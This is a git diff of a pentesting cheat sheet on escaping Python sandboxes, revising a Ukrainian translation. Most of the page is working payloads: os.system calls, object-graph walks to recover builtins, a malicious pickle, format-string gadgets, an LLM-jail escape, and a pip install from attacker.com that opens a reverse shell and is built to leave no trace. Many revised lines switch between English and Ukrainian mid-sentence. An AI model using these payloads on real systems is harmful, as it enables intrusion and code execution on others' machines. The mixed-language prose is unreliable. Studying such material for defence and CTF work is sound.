diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index 777328cd2..76b06712d 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -1,12 +1,12 @@ -# Обхід Python sandboxes +# Bypass Python sandboxes {{#include ../../../banners/hacktricks-training.md}} -Це кілька трюків для обходу захистів python sandbox і виконання довільних команд. +Нижче наведено кілька прийомів для обходу захисту python sandbox і виконання довільних команд. -## Бібліотеки виконання команд +## Бібліотеки для виконання команд -Перше, що потрібно знати — чи можете ви безпосередньо виконувати код за допомогою якоїсь вже імпортованої бібліотеки, або чи можете імпортувати будь-яку з цих бібліотек: +Перше, що потрібно знати — чи можна безпосередньо виконати код за допомогою вже імпортованої бібліотеки, або чи можна імпортувати будь-яку з цих бібліотек: ```python os.system("ls") os.popen("ls").read() @@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123') execfile('/usr/lib/python2.7/os.py') system('ls') ``` -Пам'ятайте, що функції _**open**_ і _**read**_ можуть бути корисні для **читання файлів** всередині python sandbox та для **запису коду**, який ви могли б **виконати**, щоб **bypass** sandbox. +Remember that the _**open**_ and _**read**_ functions can be useful to **читання файлів** inside the python sandbox and to **написання коду** that you could **execute** to **bypass** the sandbox. -> [!CAUTION] > **Python2 input()** function дозволяє виконати python-код перед тим, як програма аварійно завершиться. +> [!CAUTION] > **Python2 input()** function allows executing python code before the program crashes. -Python намагається **спочатку завантажувати бібліотеки з поточного каталогу** (наступна команда виведе, звідки python завантажує модулі): `python3 -c 'import sys; print(sys.path)'` +Python намагається **завантажувати бібліотеки спочатку з поточної директорії** (наступна команда виведе, звідки python завантажує модулі): `python3 -c 'import sys; print(sys.path)'` ![](<../../../images/image (559).png>) -## Bypass pickle sandbox з використанням стандартно встановлених python packages +## Bypass pickle sandbox with the default installed python packages -### Стандартні пакети +### Пакети за замовчуванням -Ви можете знайти **список попередньо встановлених** пакетів тут: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ -Зверніть увагу, що з pickle ви можете змусити python env **import arbitrary libraries** встановлені в системі.\ -Наприклад, наступний pickle при завантаженні імпортує бібліотеку pip для її використання: +You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ +Зверніть увагу, що з pickle ви можете змусити python env **import довільні бібліотеки**, встановлені в системі.\ +Наприклад, наступний pickle, при завантаженні, збирається імпортувати бібліотеку pip для використання: ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victim doesn't even need to have the library installed to execute it @@ -66,32 +66,32 @@ return (pip.main,(["list"],)) print(base64.b64encode(pickle.dumps(P(), protocol=0))) ``` -Для отримання додаткової інформації про те, як працює pickle, перегляньте: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) +Для отримання додаткової інформації про те, як працює pickle, перегляньте це: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) ### Pip package Трюк від **@isHaacK** -Якщо у вас є доступ до `pip` або `pip.main()` ви можете встановити довільний пакет і отримати reverse shell, викликавши: +Якщо у вас є доступ до `pip` або `pip.main()`, ви можете встановити довільний пакет і отримати reverse shell, викликавши: ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) ``` -Ви можете завантажити пакет для створення reverse shell тут. Зверніть увагу, що перед використанням потрібно **розпакувати його, змінити `setup.py` і вказати ваш IP для reverse shell**: +Ви можете завантажити пакет для створення reverse shell тут. Зверніть увагу, що перед використанням вам слід **розпакувати його, змінити `setup.py`, і вказати вашу IP для reverse shell**: {{#file}} Reverse.tar (1).gz {{#endfile}} > [!TIP] -> Цей пакет називається `Reverse`. Однак він спеціально створений так, що коли ви вийдете з reverse shell, решта інсталяції завершиться помилкою, тож ви **не залишите жодного додаткового python package, встановленого на сервері**, коли підете. +> Цей пакет називається `Reverse`. Однак він був спеціально створений так, що коли ви вийдете з reverse shell, решта інсталяції завершиться невдачею, тож ви **не залишите додаткових python пакетів встановленими на сервері** після виходу. ## Eval-ing python code > [!WARNING] -> Зауважте, що exec дозволяє багаторядкові рядки та ";", але eval — ні (перевірте walrus operator) +> Зверніть увагу, що exec дозволяє багаторядкові рядки та ";", але eval — ні (перевірте walrus operator) -Якщо певні символи заборонені, ви можете скористатися **hex/octal/B64** представленням, щоб **bypass** обмеження: +Якщо певні символи заборонені, ви можете використати **hex/octal/B64** представлення, щоб **обійти** обмеження: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` -### Інші бібліотеки, які дозволяють виконувати python-код через eval +### Інші бібліотеки, які дозволяють eval python code ```python #Pandas import pandas as pd @@ -126,15 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')") # Like: df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") ``` -Також дивіться реальний випадок обходу sandboxed evaluator у PDF-генераторах: +Також див. реальний приклад обходу sandboxed evaluator у PDF-генераторах: -- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Він зловживає rl_safe_eval для доступу до function.__globals__ і os.system через оцінені атрибути (наприклад, font color) і повертає дійсне значення, аби зберегти стабільність рендерингу. +- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Воно зловживає rl_safe_eval, щоб отримати доступ до function.__globals__ та os.system через атрибути, що оцінюються (наприклад, колір шрифту), і повертає валідне значення, щоб зберегти стабільність рендерингу. {{#ref}} reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md {{#endref}} -## Оператори та короткі прийоми +## Оператори та короткі трюки ```python # walrus operator allows generating variable inside a list ## everything will be executed in order @@ -143,9 +143,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ``` -## Обхід захистів через кодування (UTF-7) +## Обхід захисту через кодування (UTF-7) -У [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 використовується для завантаження та виконання довільного python-коду всередині, здавалося б, sandbox: +У [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 використовується для завантаження та виконання довільного python-коду в нібито sandbox: ```python assert b"+AAo-".decode("utf_7") == "\n" @@ -156,13 +156,13 @@ return x #+AAo-print(open("/flag.txt").read()) """.lstrip() ``` -Також можна обійти це, використовуючи інші кодування, наприклад `raw_unicode_escape` та `unicode_escape`. +Також можливо обійти це, використовуючи інші кодування, наприклад `raw_unicode_escape` і `unicode_escape`. ## Виконання Python без викликів -Якщо ви перебуваєте в Python jail, який **не дозволяє вам робити виклики**, все ще існують способи **виконати довільні функції, код** та **команди**. +Якщо ви перебуваєте в python-пісочниці, яка **не дозволяє вам робити виклики**, все одно є кілька способів **виконати довільні функції, код** та **команди**. -### RCE за допомогою [decorators](https://docs.python.org/3/glossary.html#term-decorator) +### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator) ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ @exec @@ -186,11 +186,11 @@ class _:pass ``` ### RCE creating objects and overloading -Якщо ви можете **declare a class** і **create an object** того класу, ви могли б **write/overwrite different methods**, які можуть бути **triggered** **without** **needing to call them directly**. +Якщо ви можете **declare a class** і **create an object** цього класу, ви можете **write/overwrite different methods**, які можуть бути **triggered** **without** **needing to call them directly**. #### RCE with custom classes -Ви можете модифікувати деякі **class methods** (_by overwriting existing class methods or creating a new class_) щоб вони **execute arbitrary code** коли будуть **triggered** без їхнього прямого виклику. +Ви можете змінити деякі **class methods** (_by overwriting existing class methods or creating a new class_) щоб змусити їх **execute arbitrary code**, коли вони **triggered** без їх прямого виклику. ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: @@ -242,7 +242,7 @@ __ixor__ (k ^= 'import os; os.system("sh")') ``` #### Створення об'єктів за допомогою [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) -Головне, що метакласи дозволяють нам робити, — **створити екземпляр класу без прямого виклику конструктора**, шляхом створення нового класу, у якого цільовий клас виступає метакласом. +Головне, що дозволяють метакласи — **створити екземпляр класу, не викликаючи безпосередньо конструктор**, шляхом створення нового класу, у якого цільовий клас виступає метакласом. ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" @@ -257,9 +257,9 @@ Sub['import os; os.system("sh")'] ## You can also use the tricks from the previous section to get RCE with this object ``` -#### Створення об'єктів за допомогою винятків +#### Створення об'єктів за допомогою exceptions -Коли виникає **exception**, об'єкт **Exception** **створюється** без необхідності викликати конструктор безпосередньо (трюк від [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)): +Коли **exception is triggered**, об'єкт класу **Exception** **створюється** без необхідності викликати конструктор безпосередньо (трюк від [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)): ```python class RCE(Exception): def __init__(self): @@ -279,7 +279,7 @@ k + 'import os; os.system("sh")' #RCE abusing __add__ ## You can also use the tricks from the previous section to get RCE with this object ``` -### Більше RCE +### Ще RCE ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ # If sys is imported, you can sys.excepthook and trigger it by triggering an error @@ -310,22 +310,22 @@ a.__class__.__exit__ = lambda self, *args: None with (a as b): pass ``` -## Вбудовані +## Builtins - [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html) - [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html) -Якщо ви можете отримати доступ до об'єкта **`__builtins__`**, ви можете імпортувати бібліотеки (зауважте, що тут ви також можете використати інші рядкові представленя, показані в останньому розділі): +Якщо ви маєте доступ до об'єкта **`__builtins__`**, ви можете імпортувати бібліотеки (зверніть увагу, що тут також можна використати інші строкові подання, показані в останньому розділі): ```python __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` -### Немає `__builtins__` +### No Builtins -Коли у вас немає `__builtins__` ви не зможете імпортувати нічого, а також навіть читати чи записувати файли, оскільки **всі глобальні функції** (наприклад `open`, `import`, `print`...) **не завантажені**.\ -Однак, **за замовчуванням python імпортує багато модулів в пам'ять**. Ці модулі можуть здаватися безпечними, але деякі з них **також містять небезпечні** функціональні можливості всередині, до яких можна отримати доступ і навіть досягти **arbitrary code execution**. +Коли у вас немає `__builtins__` ви не зможете імпортувати нічого, ані навіть читати чи писати файли, оскільки **всі глобальні функції** (наприклад, `open`, `import`, `print`...) **не завантажені**.\ +Однак, **за замовчуванням python імпортує багато модулів у пам'ять**. Ці модулі можуть здаватися "**benign**", але деякі з них **також імпортують всередині себе небезпечні** функціональності, до яких можна отримати доступ для досягнення навіть **arbitrary code execution**. -У наведених прикладах ви можете побачити, як **зловживати** деякими з цих "**невинних**" модулів, що завантажені, щоб **отримати доступ** до **небезпечних** **функцій** всередині них. +У наступних прикладах ви можете побачити, як **зловживати** деякими з цих "**benign**" завантажених модулів, щоб **отримати доступ** до **небезпечних** **функціональностей** всередині них. **Python2** ```python @@ -367,9 +367,9 @@ get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` -[**Below there is a bigger function**](#recursive-search-of-builtins-globals) щоб знайти десятки/**сотні** **місць**, де ви можете знайти **builtins**. +[**Нижче є більша функція**](#recursive-search-of-builtins-globals) щоб знайти десятки/**сотні** **місць**, де можна знайти **builtins**. -#### Python2 and Python3 +#### Python2 та Python3 ```python # Recover __builtins__ and make everything easier __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ @@ -383,9 +383,9 @@ __builtins__["__import__"]("os").system("ls") # There are lots of other payloads that can be abused to execute commands # See them below ``` -## Globals and locals +## Globals та locals -Перевірка **`globals`** і **`locals`** — хороший спосіб дізнатися, до чого ви маєте доступ. +Перевірка **`globals`** та **`locals`** — хороший спосіб дізнатися, до чого ви маєте доступ. ```python >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } @@ -413,11 +413,11 @@ class_obj.__init__.__globals__ ## Виявлення довільного виконання -Тут я хочу пояснити, як легко виявити **більш небезпечні завантажені функціональні можливості** та запропонувати більш надійні exploits. +Тут я хочу пояснити, як легко знайти **більш небезпечні завантажені функціональності** та запропонувати більш надійні експлойти. -#### Доступ до subclasses з bypasses +#### Доступ до підкласів за допомогою обхідних методів -Одна з найчутливіших частин цієї техніки — можливість отримати доступ до базових subclasses. У попередніх прикладах це було зроблено за допомогою `''.__class__.__base__.__subclasses__()` але існують **інші можливі способи**: +Одна з найчутливіших частин цієї техніки — вміння **доступатися до базових підкласів**. У попередніх прикладах це робилося за допомогою `''.__class__.__base__.__subclasses__()`, але існують **інші можливі шляхи**: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() @@ -445,18 +445,18 @@ defined_func.__class__.__base__.__subclasses__() (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() ``` -### Знаходження завантажених небезпечних бібліотек +### Пошук завантажених небезпечних бібліотек -Наприклад, якщо ви знаєте, що за допомогою бібліотеки **`sys`** можна **import arbitrary libraries**, ви можете знайти всі **modules loaded that have imported sys inside of them**: +Наприклад, знаючи, що з бібліотекою **`sys`** можна **імпортувати довільні бібліотеки**, ви можете шукати всі **завантажені модулі, які всередині себе імпортували sys**: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` -Їх багато, і **нам потрібен лише один**, щоб виконати команди: +Їх багато, і **нам потрібен лише один**, щоб виконувати команди: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` -Ми можемо зробити те саме з **іншими бібліотеками**, які ми знаємо, що можуть використовуватися для **виконання команд**: +Ми можемо зробити те саме з **іншими бібліотеками**, які, як відомо, можна використовувати для **виконання команд**: ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") @@ -491,7 +491,7 @@ defined_func.__class__.__base__.__subclasses__() #pdb [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") ``` -Більше того, ми могли б навіть знайти, які модулі завантажують шкідливі бібліотеки: +Крім того, ми навіть можемо знайти, які модулі завантажують шкідливі бібліотеки: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] for b in bad_libraries_names: @@ -510,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE pdb: """ ``` -Більше того, якщо ви вважаєте, що **інші бібліотеки** можуть бути здатні **викликати функції для виконання команд**, ми також можемо **фільтрувати за іменами функцій** всередині можливих бібліотек: +Більше того, якщо ви вважаєте, що **інші бібліотеки** можуть **викликати функції для виконання команд**, ми також можемо **фільтрувати за іменами функцій** всередині можливих бібліотек: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] @@ -546,7 +546,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil ## Рекурсивний пошук Builtins, Globals... > [!WARNING] -> Це просто **неймовірно**. Якщо ви **шукаєте об'єкт, такий як globals, builtins, open або будь-який інший** — просто використайте цей скрипт, щоб **рекурсивно знаходити місця, де можна знайти цей об'єкт.** +> Це просто **вражаюче**. Якщо ви **шукаєте об'єкт, такий як globals, builtins, open або будь-що інше**, просто використовуйте цей скрипт, щоб **рекурсивно знаходити місця, де можна знайти цей об'єкт.** ```python import os, sys # Import these to find more gadgets @@ -662,7 +662,7 @@ print(SEARCH_FOR) if __name__ == "__main__": main() ``` -Ви можете перевірити результат виконання цього скрипта на цій сторінці: +Ви можете переглянути вивід цього скрипту на цій сторінці: {{#ref}} @@ -671,7 +671,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and- ## Python Format String -Якщо ви **відправите** **рядок** у python, який буде **відформатований**, ви можете використати `{}` для доступу до **внутрішньої інформації python.** Ви можете використовувати попередні приклади, щоб отримати доступ до globals або builtins, наприклад. +Якщо ви **відправите** **рядок** в python, який буде **форматуватися**, ви можете використовувати `{}` щоб отримати доступ до **внутрішньої інформації python.** Можна, наприклад, використовувати попередні приклади, щоб отримати доступ до globals або builtins. ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { @@ -691,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` -Зверніть увагу, що ви можете **доступатися до атрибутів** звичайним способом через **крапку**, наприклад `people_obj.__init__` і до **елемента dict** через **квадратні дужки** без лапок `__globals__[CONFIG]` +Зауважте, як ви можете **access attributes** звичайним способом за допомогою **dot** як `people_obj.__init__` та **dict element** за допомогою **parenthesis** без лапок `__globals__[CONFIG]` -Також зауважте, що ви можете використовувати `.__dict__` для перерахування елементів об'єкта `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` +Також зверніть увагу, що ви можете використовувати `.__dict__` для перерахування елементів об'єкта `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` -Інші цікаві властивості форматних рядків — це можливість **виконувати** **функції** **`str`**, **`repr`** і **`ascii`** у вказаному об'єкті, додавши **`!s`**, **`!r`**, **`!a`** відповідно: +Інші цікаві особливості format strings полягають у можливості **executing** **functions** **`str`**, **`repr`** та **`ascii`** над вказаним об'єктом шляхом додавання **`!s`**, **`!r`**, **`!a`** відповідно: ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) ``` -Крім того, можна **написати нові форматери** в класах: +Крім того, можливо **code new formatters** у класах: ```python class HAL9000(object): def __format__(self, format): @@ -714,14 +714,14 @@ return 'HAL 9000' **Більше прикладів** щодо **format** **string** можна знайти на [**https://pyformat.info/**](https://pyformat.info) > [!CAUTION] -> Перевірте також наступну сторінку щодо gadgets, які **читатимуть чутливу інформацію з внутрішніх об'єктів Python**: +> Також перегляньте наступну сторінку для gadgets, які будуть **зчитувати чутливу інформацію з Python internal objects**: {{#ref}} ../python-internal-read-gadgets.md {{#endref}} -### Викриття чутливої інформації Payloads +### Розкриття чутливої інформації Payloads ```python {whoami.__class__.__dict__} {whoami.__globals__[os].__dict__} @@ -739,20 +739,20 @@ str(x) # Out: clueless ``` ### LLM Jails bypass -З [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` +From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` -### Від format до RCE — завантаження бібліотек +### From format to RCE loading libraries -Згідно з [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) можна завантажувати довільні бібліотеки з диска, зловживаючи format string vulnerability у python. +According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python. -Нагадаємо, що кожного разу, коли в python виконується дія, викликається певна функція. Наприклад `2*3` виконає **`(2).mul(3)`** або **`{'a':'b'}['a']`** виконає **`{'a':'b'}.__getitem__('a')`**. +Як нагадування, щоразу, коли в python виконується дія, викликається певна функція. Наприклад `2*3` виконає **`(2).mul(3)`** або **`{'a':'b'}['a']`** буде **`{'a':'b'}.__getitem__('a')`**. -Більше прикладів дивись у розділі [**Python execution without calls**](#python-execution-without-calls). +Більше таких прикладів є в розділі [**Python execution without calls**](#python-execution-without-calls). A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\ -Однак можна використовувати `[]`. Тому, якщо якась поширена python-бібліотека має метод **`__getitem__`** або **`__getattr__`**, який виконує довільний код, її можна зловживати, щоб отримати RCE. +However, it's possible to use `[]`. Therefore, if a common python library has a **`__getitem__`** or **`__getattr__`** method that executes arbitrary code, it's possible to abuse them to get RCE. -Шукаючи такий гаджет у python, у writeup пропонують цей [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Там він знайшов цей [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463): +Шукаючи такий гаджет у python, автор пропонує цей [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Там він знайшов ось цей [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463): ```python class LibraryLoader(object): def __init__(self, dlltype): @@ -774,20 +774,20 @@ return getattr(self, name) cdll = LibraryLoader(CDLL) pydll = LibraryLoader(PyDLL) ``` -Цей гаджет дозволяє **завантажити бібліотеку з диска**. Тому потрібно якимось чином **записати або завантажити на атакований сервер бібліотеку, правильно скомпільовану для нього**. +Цей gadget дозволяє **load a library from disk**. Тому потрібно якимось чином **write or upload the library to load**, щоб вона була правильно скомпільована для цільового сервера. ```python '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}' ``` -Завдання насправді експлуатує іншу вразливість на сервері, що дозволяє створювати довільні файли на диску сервера. +В завданні насправді експлуатується інша вразливість на сервері, яка дозволяє створювати довільні файли на диску сервера. ## Розбір Python-об'єктів > [!TIP] -> Якщо ви хочете **вивчити** **python bytecode** детально, прочитайте цей **відмінний** допис на цю тему: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) +> Якщо ви хочете **вивчити** про **python bytecode** детально, прочитайте цю **чудову** статтю на тему: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) -У деяких CTFs вам можуть надати назву **кастомної функції, де знаходиться flag**, і вам потрібно побачити **внутрішню будову** цієї **функції**, щоб витягти його. +У деяких CTFs вам можуть надати ім'я **custom function where the flag** і вам потрібно переглянути **внутрішню будову** цієї **function**, щоб витягти flag. -Ось функція для дослідження: +This is the function to inspect: ```python def get_flag(some_input): var1=1 @@ -807,7 +807,7 @@ dir(get_flag) #Get info tof the function ``` #### globals -`__globals__` and `func_globals`(Те саме) Отримує глобальне середовище. У прикладі видно деякі імпортовані модулі, деякі глобальні змінні та оголошений їхній вміст: +`__globals__` and `func_globals`(Same) Отримує глобальне середовище. У прикладі видно деякі імпортовані модулі, кілька глобальних змінних та їхній вміст: ```python get_flag.func_globals get_flag.__globals__ @@ -908,7 +908,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` -Зауважте, що **якщо ви не можете імпортувати `dis` у python sandbox** ви можете отримати **байткод** функції (`get_flag.func_code.co_code`) і **дизасемблювати** його локально. Ви не побачите вміст змінних, що завантажуються (`LOAD_CONST`), але можете вгадати їх із (`get_flag.func_code.co_consts`), бо `LOAD_CONST` також вказує офсет змінної, що завантажується. +Зауважте, що **якщо ви не можете імпортувати `dis` в python sandbox** ви можете отримати **bytecode** функції (`get_flag.func_code.co_code`) і **disassemble** його локально. Ви не побачите вміст змінних, що завантажуються (`LOAD_CONST`), але можете здогадатися про них з (`get_flag.func_code.co_consts`), оскільки `LOAD_CONST` також вказує зсув змінної, що завантажується. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -932,8 +932,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 ``` ## Компіляція Python -Тепер уявімо, що якимось чином ви можете **dump the information about a function that you cannot execute**, але вам **потрібно** її **виконати**.\ -Як у наведеному прикладі, ви **can access the code object** цієї функції, але просто читаючи disassemble ви **не знаєте, як обчислити flag** (_уявіть більш складну функцію `calc_flag`_). +Тепер уявімо, що якимось чином ви можете **dump інформацію про функцію, яку не можете execute**, але вам **потрібно** **execute** її.\ +Як у наведеному нижче прикладі, ви **маєте доступ до code object** цієї функції, але лише читаючи disassemble ви **не знаєте, як обчислити flag** (_уявіть собі більш складну функцію `calc_flag`_) ```python def get_flag(some_input): var1=1 @@ -948,7 +948,7 @@ return "Nope" ``` ### Створення code object -По-перше, нам потрібно знати **how to create and execute a code object**, щоб ми могли створити один, щоб виконати нашу function leaked: +Насамперед нам потрібно знати **how to create and execute a code object**, щоб ми могли створити один для виконання нашої функції leaked: ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this @@ -968,7 +968,7 @@ mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` > [!TIP] -> Залежно від версії python **параметри** `code_type` можуть мати **інший порядок**. Найкращий спосіб дізнатися порядок параметрів у версії python, яку ви запускаєте — виконати: +> Залежно від версії python **параметри** `code_type` можуть мати **інший порядок**. Найкращий спосіб дізнатися порядок параметрів у тій версії python, яку ви запускаєте — виконати: > > ``` > import types @@ -976,10 +976,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode") > 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, 